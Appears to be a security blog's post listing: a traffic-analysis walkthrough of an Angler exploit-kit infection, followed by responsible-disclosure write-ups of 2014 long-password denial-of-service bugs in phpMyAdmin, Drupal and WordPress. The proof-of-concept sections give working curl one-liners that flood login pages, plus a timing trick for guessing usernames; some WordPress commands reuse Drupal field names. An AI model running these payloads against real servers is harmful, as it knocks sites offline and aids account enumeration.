A Network Traffic Analysis Exercise

Network forensics is something we should practice as much as possible to become faster at detecting supicious activies in our networks. This website http://malware-traffic-analysis.net/ shares network traffic captures where we can find different kinds of infections and malicious activies. I find these examples quite good to improve our skills to find evil behaviours... Also, we could be witness of new vectors attack and new evasion techniques...

Today, we are going to do the last exercise: 

http://malware-traffic-analysis.net/2015/11/24/index.html

Malware infection

In the post mentioned before, it was said that a malware was found in a corporate computer. We can get more information about that sample from diferent malware analysis.

SHA256

d16ad130daed5d4f3a7368ce73b87a8f84404873cbfc90cc77e967a83c947cd2

malwr   Virustotal   file-analyzer

Network traffic analysis

To figure out what happend, we have to work with the traffic capture published at such blog post: 2015-11-24-traffic-analysis-exercise.pcap. The first thing I´m going to do is to use tcpreplay in order to replicate the same traffic that was captured in an interface where my Suricata is listening with the latest ETPRO ruleset loaded.

After all the traffic has been replicated and analyzed, we can see on our alerts Dashboard that a computer could be affected by an Exploit Kit. Also, there are some CnC alerts...

The first Angler EK alerts came from the website neuhaus-hourakus.avelinoortiz[.]com


The order of the visits for that specific domain were:

1. neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29
2. neuhaus-hourakus.avelinoortiz[.]com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
3. neuhaus-hourakus.avelinoortiz[.]com/literature.disco?audience=5Hr&trip=&election=txK1BgKFW&piece=aRLmxzX&normal=QGOT&understand=IWOBe&theory=so8bghs&discover=y47E5&tell=gSIQ&opportunity=ZWe&available=z
4. neuhaus-hourakus.avelinoortiz[.]com/yes.wbxml?unite=tXu9a5tJI&writer=J7y8dCR8F&describe=LzQOS9&for=&note=C26Z8129ea&number=gcsXv8v&next=2unI-c8

We can see that this domain has been rated as malicious by some webfiltering vendors. 

I´ve also uploaded the PCAP to Virustotal (look at Details section). Virustotal is awesome because the traffic is inspected by Snort-VTR and Suricata-ETPRO ruleset. Also Virustotal analizes all the requests and if something is detected by some Antivirus, Virustotal will warn us... We can see from the Virustotal report, that one of the first Suricata alerts related to the EK corresponds to a flash file which is related to an Exploit.

It seems we´ve found where the user could have been infected, but... Why did the user end up at that website? If we look at the first Suricata event and we look closely at the Referer field, we can see that the web page that was visited before the landing page, had a Javascript.

Digging into that Javascript, we can find an iframe which loads the EK landing page (1) and the website which loaded the Javascript (2).

If we keep analyzing back with Wireshark, we can locate the URI which called the Javascript. It seems that it could be an advertisement (1) which loaded the Javascript (2).

And... Why did this user visit www.shotgunworld[.]com? If we look at the Referer field in the follow TCP Stream, we can see that the user was redirected to that website by Google. The user could have been doing Google searches...

If we dig a little bit deeper into the connections which were made before the Google redirection, we can see that the user was interested in guns.  He did two searches in Google:

1. http://www.google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&sqi=2&ved=0ahUKEwimz-OWuqnJAhWJrD4KHZcYBLsQFggcMAA&url=http%3A%2F%2Fwww.cabelas.com%2Fcategory%2FShotguns%2F105537780.uts&usg=AFQjCNHKLe8zX3xPg6B1t17pycMEn7CRFw&bvm=bv.108194040,d.dmo

which redirects to http://www.cabelas.com/category/Shotguns/105537780.uts which seems not to be infected.

2. http://www.google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&sqi=2&ved=0ahUKEwiKnu-0uqnJAhUIWD4KHal9DUcQFggcMAA&url=http%3A%2F%2Fwww.shotgunworld.com%2F&usg=AFQjCNEURWbI-lwIgSRkGqiR9ALrodRMUw&bvm=bv.108194040,d.dmo

which loads the EK landing page: neuhaus-hourakus.avelinoortiz[.]com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29

And... What  about the landing page? I´ve followed with the analysis and I´ve found that it had code heavily obfuscated inside the HTML code.

I´ve extracted it from the PCAP by using Wireshark and we can see the results at Virustotal.  I´ve also uploaded it to Pastebin.  As it was said, this Javascript has been heavily obfuscated and trying to deobfuscate it would be time comsuming, but if you want to try yourself, you are really welcome. I would like to share some good blog posts where you can find more info about the Angler Exploit obfuscation: Websense, Fuzzysecurity. 

Since we´ve not deobfuscated the Angler landing page code, we can not be 100% sure that it is related to the malware found in the computer, but I think we could assume that... After the host visited such URL, the computer started requesting suspicious URL related to botnet 

Even the computer started requesting domain names that didn't get resolved...

Those domains could have been tried to be created by some domain generation algorithm (DGA). This could be a indicator that this computer had started to belong to a Botnet.

Conclusion 

After being notified that a piece of malware has been detected on a corporate computer, we´ve analyzed the traffic capture provided and we´ve detected the following:

1. The user was doing Google searches related to guns.
2. After visiting some guns shops, he ended up in that web site: www.shotgunworld[.]com
3. This one had an advertisment which loaded a Javascript.
4. That Javascript had a iframe which loaded the Angler EK landing page.
5. It seems the EK was successfull and the computer began to be part of a botnet.

Read More

CVE-2014-9218 phpMyAdmin DoS Proof of Concept

Assuming that time enough has happened since the security update was released by phpMyAdmin, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before.

You can read the vulnerability details in the previous blog post. In this one, we show you  the way to exploit it.

1 - Create the payload.

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s" {1..1000000} >> payload

2 - Performing the Denial of Service attack.

$ for i in `seq 1 150`; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

Read More

When cookies lead to a DoS in phpMyAdmin CVE-2014-9218

Introduction

"phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL, MariaDB and Drizzle. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement."

Before starting with our findings, we would like to thank phpMyAdmin security team for their quick response and for their interest in keeping their software secure.

My partner @cor3dump3d from www.devconsole.info and me believe in responsible disclosure, that is the reason why we have waited until a patch has been released by phpMyAdmin security team before revealing full details.

Affected Versions

Versions 4.0.x (prior to 4.0.10.7), 4.1.x (prior to 4.1.14.8) and 4.2.x (prior to 4.2.13.1) are affected.

More info:

• http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php

Vulnerability Details

The phpMyAdmin vulnerability we are going to talk about is similar to, but a little bit different and more dangerous than the previous ones we posted some days ago: CVE-2014-9016 and CVE-2014-9034. This post describes a Proof of Concept about how to perform a Denial of Service by using long passwords which affects to the software mentioned above.

Now, we have discovered that phpMyAdmin is vulnerable to the same attack but this time for a different reason...

Why did we say more dangerous than the previous ones? In order to take advantage of this vulnerability in Drupal and Wordpress, we needed to know a valid username before launching the attack. In phpMyAdmin, it is not required to know a valid username.

In phpMyAdmin the attack works different because phpMyAdmin does not maintain any user accounts and when the user logs into phpMyAdmin, it simply relays the password to MySQL, and MySQL is not affected by this vulnerability. These are the results of these MySQL  login attempts:

Password length: 1000000 Total execution time in seconds: 0.018867969512939
Password length: 2000000 Total execution time in seconds: 0.03835391998291
Password length: 3000000 Total execution time in seconds: 0.056785106658936
Password length: 4000000 Total execution time in seconds: 0.075578212738037
Password length: 5000000 Total execution time in seconds: 0.09423303604126
Password length: 6000000 Total execution time in seconds: 0.11118984222412
Password length: 7000000 Total execution time in seconds: 0.13226509094238
Password length: 8000000 Total execution time in seconds: 0.1476719379425
Password length: 9000000 Total execution time in seconds: 0.16580295562744

So, which is the cause because phpMyAdmin is affected to this kind of attack?

If we try a login attempt by using a valid or non valid username and a 1.000.000 length password we will obtain the error below.

* Notice that 30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server.

Researching a little bit more, we see that in PhpMyAdmin cookie mode authentication, the password is stored, encrypted with the AES algorithm, in a temporary cookie.

We have tried to encrypt with AES these long strings and we have observed an increase of time calculation according to the length the strings.

Text length: 1024 ==> AES calculation time in seconds: 0.0085389614105225
Text length: 10240 ==> AES calculation time in seconds: 0.069222927093506
Text length: 51200 ==> AES calculation time in seconds: 0.35328578948975
Text length: 102400 ==> AES calculation time in seconds: 0.72205591201782
Text length: 512000 ==> AES calculation time in seconds: 3.5483829975128
Text length: 1024000 ==> AES calculation time in seconds: 7.1560480594635
Text length: 102400000 ==> AES calculation time in seconds: 733.4890639782

When this test was performed locally, a CPU resource exhaustion was observed.  Notice that the server doesn't crash because of the AES calculation. The vulnerability appears in conjunction with Apache, because Apache waits to PHP to finish the AES calculation. In a concurrent authentication process with a valid or non valid user and very long passwords, on the one hand PHP consumes the CPU with AES calculation processes and in the other hand, the Apache processes which are waiting, consumes the memory until the server crashes.

The result is a Denial of Service condition because of memory exhaustion.

This problem is solved in the latest phpMyAdmin patch. By applying this patch, the user credentials are stored only after a successful authentication. Further, it truncates passwords to a length of 256.

How to fix

Upgrade to phpMyAdmin 4.0.10.7 or newer, or 4.1.14.8 or newer, or 4.2.13.1 or newer.

Proof of concept

A proof of concept will be published soon. Until that, update your phpMyAdmin installations.

CVE Information

CVE-2014-9218 has been assigned to this vulnerability.

Timeline

November 26, 2014 - We sent a complete report about the vulnerability to the phpMyAdmin security team.

November 27, 2014 - phpMyAdmin started to work on this security issue.

December 3, 2014 - The phpMyAdmin security update and the security advisory is published.

References

http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

http://www.devconsole.info/?p=1050

http://www.breaksec.com/?p=6362

http://codeseekah.com/2012/04/29/timing-attacks-in-web-applications/

Read More

CVE-2014-9016 and CVE-2014-9034 Proof of Concept

Assuming that time enough has happened since the security update was released by Wordpress and Drupal, we want to share our researches. As you already know, we believe in Responsible Disclosure and that is the reason why we didn't publish this post before.

Set Quality to 720p

Drupal Denial of Service CVE-2014-9016

Generate a pyaload and try with a non-valid user:

$ echo -n "name=NO-VALID-USER&pass=" > no_valid_user_payload && printf "%s" {1..1000000} >> no_valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> no_valid_user_payload

$ time curl --data @no_valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/drupal/?q=user --silent > /dev/null &); sleep 0.25; done

Wordpress Denial of Service CVE-2014-9034

Generate a pyaload and try with a non-valid user:

$ echo -n "log=NO-VALID-USER&pwd=" > payload && printf "%s" {1..1000000} >> payload && echo -n "&wp-submit=Log In" >> payload

$ time curl --data @no_valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Generate a pyaload and try with a valid user:

$ echo -n "name=admin&pass=" > valid_user_payload && printf "%s" {1..1000000} >> valid_user_payload && echo -n "&op=Log in&form_id=user_login" >> valid_user_payload

$ time curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php --silent > /dev/null &

Perform a Dos with a valid user:

$ for i in `seq 1 150`; do (curl --data @valid_user_payload http://yoursite/wordpress/wp-login.php  --silent > /dev/null &); sleep 0.25; done

Python Code

https://github.com/c0r3dump3d/wp_drupal_timing_attack

References

http://www.behindthefirewalls.com/2014/11/wordpress-denial-of-service-responsible-disclosure.html

http://www.behindthefirewalls.com/2014/11/drupal-denial-of-service-responsible-disclosure.html

http://www.devconsole.info/?p=1050

https://wordpress.org/news/2014/11/wordpress-4-0-1/ 

https://www.drupal.org/SA-CORE-2014-006 

https://www.drupal.org/node/2378367

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9016

Read More

Wordpress Denial of Service Responsible Disclosure - Attacking with long passwords

Introduction

Wordpress is the CMS most used Worldwide. According to w3techs.com WordPress is used by 61.1% of all the websites whose content management system they know. This is 23.2% of all websites.

My partner @cor3dump3d from www.devconsole.info and me believe in responsible disclosure, that is the reason why we have waited until a patch has been released by Wordpress security team before revealing full details.

Notice that this security issue is exactly the same we talked about yesterday. Both of them, Drupal and Wordpress had the same security flaw which is now  solved in the latest versions.

Wordpress affected versions 

Wordpress versions prior to 4.0.1

More info:

• https://wordpress.org/news/2014/11/wordpress-4-0-1/

Vulnerability Details

We've been researching about the security in Wordpress and we would like to share our results with you. We have discovered a vulnerability which can be used against default Wordpress installations in order to:

• Guess usernames
• Perform a Denial of Service

With the scenarios below, we will show you how this attack works. When we want to login to Wordpress site, we need to type a username and a password:

Scenario 1:

If the username doesn't exist, the password hash is not calculated because the username doesn't exist.

Scenario 2:

If the username exists, the password hash is calculated and compared with the hash stored in the database. If the hash compared is the same, you are granted access to the system. If not, you are rejected.

Scenario 3 - Taking advantage of the vulnerability:

User guessing

If the username exists and the password typed is for example 1000000 A's, the fact that when a hash of such a long password is generated in order to compare it with the hash stored in the database, it takes much longer and the time measurement is increased. So if the delay is increased, the username exists.

In Wordpress, the way of calculating the password hash (MD5 with a salt) by using phpass results in the cpu resources being affected when really long passwords are provided.

Denial of service

If we perform several login attempts by using a valid username at the same time with long passwords, that causes a Denial of Service in the server. We have observed two different scenarios in a Wordpress 7.32, Apache and MySQL default installation. Depending on how many login attempts and the time between them, we will have two different scenarios:

• The DOS attack crashes the entire server because the RAM and swap is  reached. Also the CPU is reached.

• The DOS attack crashes the database.

Notice the server doesn't crash because of the hash calculation. The vulnerability appears in conjunction with Apache, because Apache waits to PHP to finish the hash calculation. In a concurrent authentication process with a valid user and very long passwords, on the one hand PHP consumes the CPU with calculation processes and in the other hand, the Apache processes which are waiting, consumes the memory until the server or the database crashes.

If the apache configuration is optimized and tuned to the hardware resources, we are able to reach all sessions available quickly and handle them for 30 seconds which performs a DOS without crashing the server or database.

Why did we say 30 seconds?

30 seconds is the maximum time a script is allowed to run before it is terminated by the parser. By default, max_execution_time value is set to 30 in the php.ini config. This helps prevent poorly written scripts from tying up the server.

How to fix

If you don't have set the automatic updates in Wordpress do it or install the latest version.

In the latest version, Wordpress only calculates the hash for passwords < 4096 length.

Proof of Concept

http://www.behindthefirewalls.com/2014/12/cve-2014-9016-and-cve-2014-9034-PoC.html

CVE Information

CVE-2014-9034 has been assigned to this vulnerability.

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034

References

http://www.devconsole.info/?p=1050

http://www.devconsole.info/?p=963
 

http://www.openwall.com/phpass/ 

http://codeseekah.com/2012/04/29/timing-attacks-in-web-applications/

https://administratosphere.wordpress.com/2011/06/16/generating-passwords-using-crypt3/

http://www.breaksec.com/?p=6362

Read More